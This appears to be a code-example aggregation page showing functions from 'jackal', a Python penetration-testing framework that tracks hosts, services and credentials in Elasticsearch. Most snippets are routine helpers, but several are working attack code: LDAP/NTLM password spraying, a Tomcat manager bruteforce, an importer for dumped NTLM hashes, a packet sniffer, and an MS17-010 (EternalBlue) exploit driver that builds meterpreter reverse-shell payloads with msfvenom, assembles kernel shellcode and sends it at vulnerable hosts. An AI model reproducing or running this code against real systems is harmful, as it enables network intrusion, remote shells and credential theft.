コード例 #1
0
ファイル: status.py プロジェクト: taufderl/jackal
def main():
    services = ServiceSearch()
    hosts = HostSearch()
    ranges = RangeSearch()
    users = UserSearch()
    creds = CredentialSearch()
    try:
        print_notification("Connected to: {} [{}]".format(
            connections.get_connection().info()['cluster_name'],
            config.get('jackal', 'host')))
    except (ConnectionError, TransportError) as e:
        print_error("Cannot connect to the elasticsearch instance")
        print_error(e)
        sys.exit(1)

    print_notification("Index: {}".format(config.get('jackal', 'index')))
    host_count = hosts.count()
    if not host_count is None:
        print_notification("Number of hosts defined: {}".format(hosts.count()))
        print_notification("Number of ranges defined: {}".format(
            ranges.count()))
        print_notification("Number of services defined: {}".format(
            services.count()))
        print_notification("Number of users defined: {}".format(users.count()))
        print_notification("Number of credentials defined: {}".format(
            creds.count()))
コード例 #2
0
def bruteforce(users, domain, password, host):
    """
        Performs a bruteforce for the given users, password, domain on the given host.
    """
    cs = CredentialSearch(use_pipe=False)

    print_notification("Connecting to {}".format(host))

    s = Server(host)
    c = Connection(s)

    for user in users:
        if c.rebind(user="******".format(domain, user.username),
                    password=password,
                    authentication=NTLM):
            print_success('Success for: {}:{}'.format(user.username, password))
            credential = cs.find_object(user.username,
                                        password,
                                        domain=domain,
                                        host_ip=host)
            if not credential:
                credential = Credential(username=user.username,
                                        secret=password,
                                        domain=domain,
                                        host_ip=host,
                                        type="plaintext",
                                        port=389)
            credential.add_tag(tag)
            credential.save()

            # Add a tag to the user object, so we dont have to bruteforce it again.
            user.add_tag(tag)
            user.save()
        else:
            print_error("Fail for: {}:{}".format(user.username, password))
コード例 #3
0
ファイル: named_pipes.py プロジェクト: taufderl/jackal
def create_pipe_workers(configfile, directory):
    """
        Creates the workers based on the given configfile to provide named pipes in the directory.
    """
    type_map = {'service': ServiceSearch,
                'host': HostSearch, 'range': RangeSearch,
                'user': UserSearch}
    config = configparser.ConfigParser()
    config.read(configfile)

    if not len(config.sections()):
        print_error("No named pipes configured")
        return

    print_notification("Starting {} pipes in directory {}".format(
        len(config.sections()), directory))

    workers = []
    for name in config.sections():
        section = config[name]
        query = create_query(section)
        object_type = type_map[section['type']]
        args = (name, os.path.join(directory, name), object_type, query,
                section['format'], bool(section.get('unique', 0)))
        workers.append(multiprocessing.Process(target=pipe_worker, args=args))

    return workers
コード例 #4
0
ファイル: filter.py プロジェクト: taufderl/jackal
def format():
    """
        Formats the output of another tool in the given way.
        Has default styles for ranges, hosts and services.
    """
    argparser = argparse.ArgumentParser(
        description='Formats a json object in a certain way. Use with pipes.')
    argparser.add_argument(
        'format',
        metavar='format',
        help='How to format the json for example "{address}:{port}".',
        nargs='?')
    arguments = argparser.parse_args()
    service_style = "{address:15} {port:7} {protocol:5} {service:15} {state:10} {banner} {tags}"
    host_style = "{address:15} {tags}"
    ranges_style = "{range:18} {tags}"
    users_style = "{username}"
    if arguments.format:
        format_input(arguments.format)
    else:
        doc_mapper = DocMapper()
        if doc_mapper.is_pipe:
            for obj in doc_mapper.get_pipe():
                style = ''
                if isinstance(obj, Range):
                    style = ranges_style
                elif isinstance(obj, Host):
                    style = host_style
                elif isinstance(obj, Service):
                    style = service_style
                elif isinstance(obj, User):
                    style = users_style
                print_line(fmt.format(style, **obj.to_dict(include_meta=True)))
        else:
            print_error("Please use this script with pipes")
コード例 #5
0
def main():
    """
        Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing.
    """
    services = ServiceSearch()
    argparse = services.argparser
    argparse.add_argument('-f', '--file', type=str, help="File")
    arguments = argparse.parse_args()

    if not arguments.file:
        print_error("Please provide a file with credentials seperated by ':'")
        sys.exit()

    services = services.get_services(search=["Tomcat"], up=True, tags=['!tomcat_brute'])

    credentials = []
    with open(arguments.file, 'r') as f:
        credentials = f.readlines()

    for service in services:
        print_notification("Checking ip:{} port {}".format(service.address, service.port))
        url = 'http://{}:{}/manager/html'
        gevent.spawn(brutefore_passwords, service.address, url.format(service.address, service.port), credentials, service)
        service.add_tag('tomcat_brute')
        service.update(tags=service.tags)

    gevent.wait()
    # TODO fix stats
    Logger().log("tomcat_brute", "Performed tomcat bruteforce scan", {'scanned_services': len(services)})
コード例 #6
0
ファイル: named_pipes.py プロジェクト: taufderl/jackal
def main():
    """
        Loads the config and handles the workers.
    """
    config = Config()
    pipes_dir = config.get('pipes', 'directory')
    pipes_config = config.get('pipes', 'config_file')
    pipes_config_path = os.path.join(config.config_dir, pipes_config)
    if not os.path.exists(pipes_config_path):
        print_error("Please configure the named pipes first")
        return

    workers = create_pipe_workers(pipes_config_path, pipes_dir)
    if workers:
        for worker in workers:
            worker.start()

        try:
            for worker in workers:
                worker.join()
        except KeyboardInterrupt:
            print_notification("Shutting down")
            for worker in workers:
                worker.terminate()
                worker.join()
コード例 #7
0
ファイル: ranges.py プロジェクト: taufderl/jackal
def overview():
    """
        Creates a overview of the hosts per range.
    """
    range_search = RangeSearch()
    ranges = range_search.get_ranges()
    if ranges:
        formatted_ranges = []
        tags_lookup = {}
        for r in ranges:
            formatted_ranges.append({'mask': r.range})
            tags_lookup[r.range] = r.tags
        search = Host.search()
        search = search.filter('term', status='up')
        search.aggs.bucket('hosts',
                           'ip_range',
                           field='address',
                           ranges=formatted_ranges)
        response = search.execute()
        print_line("{0:<18} {1:<6} {2}".format("Range", "Count", "Tags"))
        print_line("-" * 60)
        for entry in response.aggregations.hosts.buckets:
            print_line("{0:<18} {1:<6} {2}".format(entry.key, entry.doc_count,
                                                   tags_lookup[entry.key]))
    else:
        print_error("No ranges defined.")
コード例 #8
0
ファイル: named_pipes.py プロジェクト: taufderl/jackal
def pipe_worker(pipename, filename, object_type, query, format_string, unique=False):
    """
        Starts the loop to provide the data from jackal.
    """
    print_notification("[{}] Starting pipe".format(pipename))
    object_type = object_type()
    try:
        while True:
            uniq = set()
            # Remove the previous file if it exists
            if os.path.exists(filename):
                os.remove(filename)

            # Create the named pipe
            os.mkfifo(filename)
            # This function will block until a process opens it
            with open(filename, 'w') as pipe:
                print_success("[{}] Providing data".format(pipename))
                # Search the database
                objects = object_type.search(**query)
                for obj in objects:
                    data = fmt.format(format_string, **obj.to_dict())
                    if unique:
                        if not data in uniq:
                            uniq.add(data)
                            pipe.write(data + '\n')
                    else:
                        pipe.write(data + '\n')
            os.unlink(filename)
    except KeyboardInterrupt:
        print_notification("[{}] Shutting down named pipe".format(pipename))
    except Exception as e:
        print_error("[{}] Error: {}, stopping named pipe".format(e, pipename))
    finally:
        os.remove(filename)
コード例 #9
0
ファイル: filter.py プロジェクト: taufderl/jackal
def format_input(style):
    doc_mapper = DocMapper()
    if doc_mapper.is_pipe:
        for obj in doc_mapper.get_pipe():
            print_line(fmt.format(style, **obj.to_dict(include_meta=True)))
    else:
        print_error("Please use this script with pipes")
コード例 #10
0
    def exploit(self):
        """
            Starts the exploiting phase, you should run setup before running this function.
            if auto is set, this function will fire the exploit to all systems. Otherwise a curses interface is shown.
        """
        search = ServiceSearch()
        host_search = HostSearch()
        services = search.get_services(tags=['MS17-010'])
        services = [service for service in services]
        if len(services) == 0:
            print_error("No services found that are vulnerable for MS17-010")
            return

        if self.auto:
            print_success("Found {} services vulnerable for MS17-010".format(
                len(services)))
            for service in services:
                print_success("Exploiting " + str(service.address))
                host = host_search.id_to_object(str(service.address))
                system_os = ''

                if host.os:
                    system_os = host.os
                else:
                    system_os = self.detect_os(str(service.address))
                    host.os = system_os
                    host.save()
                text = self.exploit_single(str(service.address), system_os)
                print_notification(text)
        else:
            service_list = []
            for service in services:
                host = host_search.id_to_object(str(service.address))
                system_os = ''

                if host.os:
                    system_os = host.os
                else:
                    system_os = self.detect_os(str(service.address))
                    host.os = system_os
                    host.save()

                service_list.append({
                    'ip':
                    service.address,
                    'os':
                    system_os,
                    'string':
                    "{ip} ({os}) {hostname}".format(ip=service.address,
                                                    os=system_os,
                                                    hostname=host.hostname)
                })
            draw_interface(service_list, self.callback,
                           "Exploiting {ip} with OS: {os}")
コード例 #11
0
ファイル: nmap.py プロジェクト: mwgielen/jackal
def import_file():
    for arg in sys.argv[1:]:
        print_notification("Importing nmap file: {}".format(arg))
        try:
            with open(arg, 'r') as f:
                stats = import_nmap(f.read(), 'nmap_import', check_function=all_hosts, import_services=True)
            stats['file'] = arg
            Logger().log('import_nmap', 'Imported nmap file', stats=stats)
        except NmapParserException:
            print_error("File could not be parsed: {}".format(arg))
        except FileNotFoundError:
            pass
コード例 #12
0
 def count(self, *args, **kwargs):
     """
         Returns the number of results after filtering with the given arguments.
     """
     search = self.create_search(*args, **kwargs)
     try:
         return search.count()
     except NotFoundError:
         print_error(
             "The index was not found, have you initialized the index?")
     except (ConnectionError, TransportError):
         print_error("Cannot connect to elasticsearch")
コード例 #13
0
ファイル: nmap.py プロジェクト: taufderl/jackal
def import_nmap(result, tag, check_function=all_hosts, import_services=False):
    """
        Imports the given nmap result.
    """
    host_search = HostSearch(arguments=False)
    service_search = ServiceSearch()
    parser = NmapParser()
    report = parser.parse_fromstring(result)
    imported_hosts = 0
    imported_services = 0
    for nmap_host in report.hosts:
        if check_function(nmap_host):
            imported_hosts += 1
            host = host_search.id_to_object(nmap_host.address)
            host.status = nmap_host.status
            host.add_tag(tag)
            if nmap_host.os_fingerprinted:
                host.os = nmap_host.os_fingerprint
            if nmap_host.hostnames:
                host.hostname.extend(nmap_host.hostnames)
            if import_services:
                for service in nmap_host.services:
                    imported_services += 1
                    serv = Service(**service.get_dict())
                    serv.address = nmap_host.address
                    service_id = service_search.object_to_id(serv)
                    if service_id:
                        # Existing object, save the banner and script results.
                        serv_old = Service.get(service_id)
                        if service.banner:
                            serv_old.banner = service.banner
                        # TODO implement
                        # if service.script_results:
                        # serv_old.script_results.extend(service.script_results)
                        serv_old.save()
                    else:
                        # New object
                        serv.address = nmap_host.address
                        serv.save()
                    if service.state == 'open':
                        host.open_ports.append(service.port)
                    if service.state == 'closed':
                        host.closed_ports.append(service.port)
                    if service.state == 'filtered':
                        host.filtered_ports.append(service.port)
            host.save()
    if imported_hosts:
        print_success("Imported {} hosts, with tag {}".format(
            imported_hosts, tag))
    else:
        print_error("No hosts found")
    return {'hosts': imported_hosts, 'services': imported_services}
コード例 #14
0
ファイル: secretsdump.py プロジェクト: taufderl/jackal
def parse_file(filename):
    cs = CredentialSearch()
    us = UserSearch()
    print_notification("Processing {}".format(filename))
    if not os.path.isfile(filename):
        print_error("Given path is not a file, skipping...")
        return

    pattern = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
    result = re.findall(pattern, filename)
    ip = ''
    if len(result):
        ip = result[0]
        print_notification("Host IP seems to be {}".format(ip))
    else:
        print_error("IP could not be obtained from the filename, skipping...")
        return

    with open(filename, 'r') as f:
        data = f.readlines()

    data = [d.strip() for d in data]

    count = 0
    print_notification("Importing {} credentials".format(len(data)))
    for line in data:
        s = line.split(':')
        if len(s) == 7:
            username = s[0]

            jackal_user = us.id_to_object(username)
            jackal_user.add_tag("secretsdump_import")
            jackal_user.save()

            lm = s[2]
            nt = s[3]
            secret = lm + ":" + nt
            credential = cs.find_object(username=username, secret=secret, host_ip=ip)
            if not credential:
                credential = Credential(secret=secret, username=username, type='ntlm', host_ip=ip, port=445)

            credential.add_tag("secretsdump_import")
            credential.save()
            count += 1
        else:
            print_error("Malformed data:")
            print_error(line)

    if count > 0:
        print_success("{} credentials imported".format(count))
    else:
        print_error("No credentials imported")
コード例 #15
0
ファイル: sniffer.py プロジェクト: mwgielen/jackal-tools
 def start(self, timeout=None):
     """
         Starts the sniffing
     """
     if timeout:
         print_notification(
             "Starting sniffer for {} seconds".format(timeout))
     else:
         print_notification("Starting sniffer")
     print_notification("Press ctrl-c to stop sniffing")
     try:
         sniff(prn=self.callback, store=0, timeout=timeout)
     except PermissionError:
         print_error("Please run this tool as root")
コード例 #16
0
ファイル: modify.py プロジェクト: taufderl/jackal
def modify_input():
    """
        This functions gives the user a way to change the data that is given as input.
    """
    doc_mapper = DocMapper()
    if doc_mapper.is_pipe:
        objects = [obj for obj in doc_mapper.get_pipe()]
        modified = modify_data(objects)
        for line in modified:
            obj = doc_mapper.line_to_object(line)
            obj.save()
        print_success("Object(s) successfully changed")
    else:
        print_error("Please use this tool with pipes")
コード例 #17
0
def resolve_domains(domains):
    """
        Resolves the list of domains and returns the ips.
    """
    dnsresolver = dns.resolver.Resolver()

    ips = []

    for domain in domains:
        print_notification("Resolving {}".format(domain))
        try:
            result = dnsresolver.query(domain, 'A')
            for a in result.response.answer[0]:
                ips.append(str(a))
        except dns.resolver.NXDOMAIN as e:
            print_error(e)
    return ips
コード例 #18
0
def add_tag():
    """
        Obtains the data from the pipe and appends the given tag.
    """
    if len(sys.argv) > 1:
        tag = sys.argv[1]
        doc_mapper = DocMapper()
        if doc_mapper.is_pipe:
            count = 0
            for obj in doc_mapper.get_pipe():
                obj.add_tag(tag)
                obj.update(tags=obj.tags)
                count += 1
            print_success("Added tag '{}' to {} object(s)".format(tag, count))
        else:
            print_error("Please use this script with pipes")
    else:
        print_error("Usage: jk-add-tag <tag>")
        sys.exit()
コード例 #19
0
def main():
    us = UserSearch()
    domains = us.get_domains()
    if not len(domains):
        print_error("No domains found...")
        return
    argparser = argparse.ArgumentParser(
        description=
        "Password bruteforce via ldap. All users for the given domain are tried, users with an entry in jk-creds will be omitted."
    )
    argparser.add_argument(
        "-d",
        "--domain",
        choices=domains,
        default=domains[0],
        help="Domain to retrieve users from, default: {}".format(domains[0]))
    argparser.add_argument("-p",
                           "--password",
                           type=str,
                           required=True,
                           help="Password to try")
    argparser.add_argument(
        "-s",
        "--server",
        type=str,
        help=
        "Server to connect to, if not given, one will be retrieved from jackal."
    )
    arguments = argparser.parse_args()

    host = ''
    if not arguments.server:
        hs = HostSearch(use_pipe=False)
        host_result = hs.search(count=1,
                                up=True,
                                ports=[389],
                                domain=arguments.domain)
        if len(host_result):
            host = str(host_result[0].address)
        else:
            print_error("No host could be found for domain: {}".format(
                arguments.domain))
            print_error("Try giving one with -s")
            return
    else:
        host = arguments.server

    cs = CredentialSearch(use_pip=False)
    known_users = set()
    credentials = cs.search(domain=arguments.domain)

    [known_users.add(credential.username) for credential in credentials]

    users = [
        user
        for user in us.get_users(domain=arguments.domain, tags=['!' + tag])
    ]

    users = [user for user in users if not user.username in known_users]
    bruteforce(users, arguments.domain, arguments.password, host)
コード例 #20
0
    def search(self, number=None, *args, **kwargs):
        """
            Searches the elasticsearch instance to retrieve the requested documents.
        """
        search = self.create_search(*args, **kwargs)
        try:
            if number:
                response = search[0:number]
            else:
                args, _ = self.core_parser.parse_known_args()
                if args.number:
                    response = search[0:args.number]
                else:
                    response = search.scan()

            return [hit for hit in response]
        except NotFoundError:
            print_error(
                "The index was not found, have you initialized the index?")
            return []
        except (ConnectionError, TransportError):
            print_error("Cannot connect to elasticsearch")
            return []
コード例 #21
0
    def setup(self):
        """
            This function will call msfvenom, nasm and git via subprocess to setup all the things.
            Returns True if everything went well, otherwise returns False.
        """
        lport64 = self.port64
        lport32 = self.port32
        print_notification("Using ip: {}".format(self.ip))

        print_notification("Generating metasploit resource file")
        resource = """use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST {ip}
set LPORT {port64}
set ExitOnSession false
run -j
set payload windows/meterpreter/reverse_tcp
set LHOST {ip}
set LPORT {port32}
set ExitOnSession false
run -j
""".format(ip=self.ip, port64=lport64, port32=lport32)
        self.resource_file = os.path.join(self.datadir, 'ms17_resource.rc')
        with open(self.resource_file, 'w') as f:
            f.write(resource)
        print_success(
            "Resource file created, run the following command in msfconsole:")
        print_success("resource {}".format(self.resource_file))

        command_64 = "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload32.bin".format(
            ip=self.ip, port=lport32, datadir=self.datadir)
        command_32 = "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload64.bin".format(
            ip=self.ip, port=lport64, datadir=self.datadir)
        print_notification("Generating payloads")

        process = subprocess.run(command_32.split(' '),
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
        if process.returncode != 0:
            print_error("Problem with generating payload:")
            print_error(process.stderr)
            return False

        process = subprocess.run(command_64.split(' '),
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
        if process.returncode != 0:
            print_error("Problem with generating payload:")
            print_error(process.stderr)
            return False

        if not os.path.exists(os.path.join(self.datadir, 'MS17-010')):
            print_notification("Git repo was not found, cloning")
            process = subprocess.run(
                "git clone https://github.com/mwgielen/MS17-010 {dir}".format(
                    dir=os.path.join(self.datadir, 'MS17-010')).split(' '))
            if process.returncode != 0:
                print_error("Problems with cloning git")
                return False

        process = subprocess.run(
            "nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o {datadir}/kshell64.bin"
            .format(datadir=self.datadir).split(' '))
        if process.returncode != 0:
            print_error("Problems with NASM")
            return False
        process = subprocess.run(
            "nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o {datadir}/kshell86.bin"
            .format(datadir=self.datadir).split(' '))
        if process.returncode != 0:
            print_error("Problems with NASM")
            return False

        self.combine_files('kshell64.bin', 'payload64.bin', 'final_met_64.bin')
        self.combine_files('kshell86.bin', 'payload32.bin', 'final_met_32.bin')
        self.create_payload('final_met_32.bin', 'final_met_64.bin',
                            'final_combined.bin')
        print_notification("Combining payloads done")
        print_success("Setup Done")
        return True